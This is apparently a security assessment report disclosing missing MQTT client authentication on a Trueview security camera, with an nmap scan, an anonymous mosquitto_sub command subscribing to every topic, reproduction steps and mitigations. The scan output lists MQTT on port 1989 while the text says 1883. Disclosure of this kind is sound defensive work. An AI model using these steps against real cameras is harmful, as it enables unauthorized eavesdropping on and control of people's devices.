

Lack of MQTT Client Authentication

Product Name and Version

Product Trueview Security Camera

Model : T18161 S

Firmware: 6.0.23.4

Vulnerability Description

The assessment identified that the MQTT broker accepted client connections without requiring authentication credentials. Unauthorized MQTT clients were able to establish sessions and interact with the broker without identity verification.

The absence of client authentication weakens the security of the MQTT service and increases the risk of unauthorized access.

Impact

An attacker with network access may establish unauthorized MQTT connections and interact with the device through the exposed MQTT service.

Potential impact includes:

- Unauthorized Access to MQTT Services
 - Unauthorized Publish Operations
 - Unauthorized Subscribe Operations
 - Unauthorized Device Interaction
 - Reduced Trust in MQTT Access Controls
-

Proof of Concept (PoC)

The assessment confirmed the following:

- The device exposed an MQTT broker on TCP port **1883**.

Target: 192.168.1.106

Command: nmap -sV -p - 192.168.1.106

Hosts: 192.168.1.1, 192.168.1.100, 192.168.1.101, 192.168.1.104, 192.168.1.106, 192.168.1.107, 192.168.1.117

Nmap Output: nmap -sV -p - 192.168.1.106

Starting Nmap 7.98 (<https://nmap.org>) at 2026-07-22 15:06 +0530

Nmap scan report for 192.168.1.106

Host is up (0.035s latency).

Not shown: 65531 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
554/tcp	open	ssl/tls	
1989/tcp	open	mqtt	
8888/tcp	open	sun-answerbook?	
10010/tcp	open	ssl/xzapi?	

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

```
=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====
SF-Port554-TCP|V=7.98|T=SSL|A=7dD=7/22|Time=6A609068|W=686-pc-windows-win
SF|doMstr|(SIPOptions,B0,"RTSP/1.0\0x20200\0x200K\r\nServer:\0x20happytime\0x
SF|0tsp;\0x20server\0x202.2\r\nCSeq:\0x42\r\nDate:\0x20Wed\0x20Jul\0x2022\0x20
SF|09:42:03\0x202006\0Public:\0x20DESCRIBE,\0x20SETUP,\0x20PLAY,\0x20OPTIONS,
SF|\0x20TEARDOWN,\0x20GET_PARAMETER,\0x20SET_PARAMETER\r\n\r\n");
=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====
```

- ```
cdac@cdac-virtual-machine:~$ mosquitto_sub -h [REDACTED] -p 1883 -t "#" -v -d
Client (null) sending CONNECT
Client (null) received CONNACK (0)
Client (null) sending SUBSCRIBE (Mid: 1, Topic: #, QoS: 0, Options: 0x00)
Client (null) received SUBACK
Subscribed (mid: 1): 0
Client (null) sending PINGREQ
Client (null) received PINGRESP
Client (null) sending PINGREQ
Client (null) received PINGRESP
Client (null) sending PINGREQ
Client (null) received PINGRESP
Client (null) sending PINGREQ
Client (null) received PINGRESP
Client (null) sending DISCONNECT
```

- Publish and subscribe operations were performed without prior authentication.

---

## Steps to Reproduce

1. Connect to the same network as the device.
2. Identify the MQTT broker on TCP port **1883**.
3. Connect using an MQTT client without specifying authentication credentials.
4. Verify that the broker accepts the connection.
5. Publish or subscribe to MQTT topics.

---

## Suggested Mitigation

- Require authentication for all MQTT client connections.
- Implement strong username/password or certificate-based authentication.
- Apply topic-level authorization (ACLs).
- Restrict MQTT access to authorized devices only.
- Disable anonymous MQTT connections.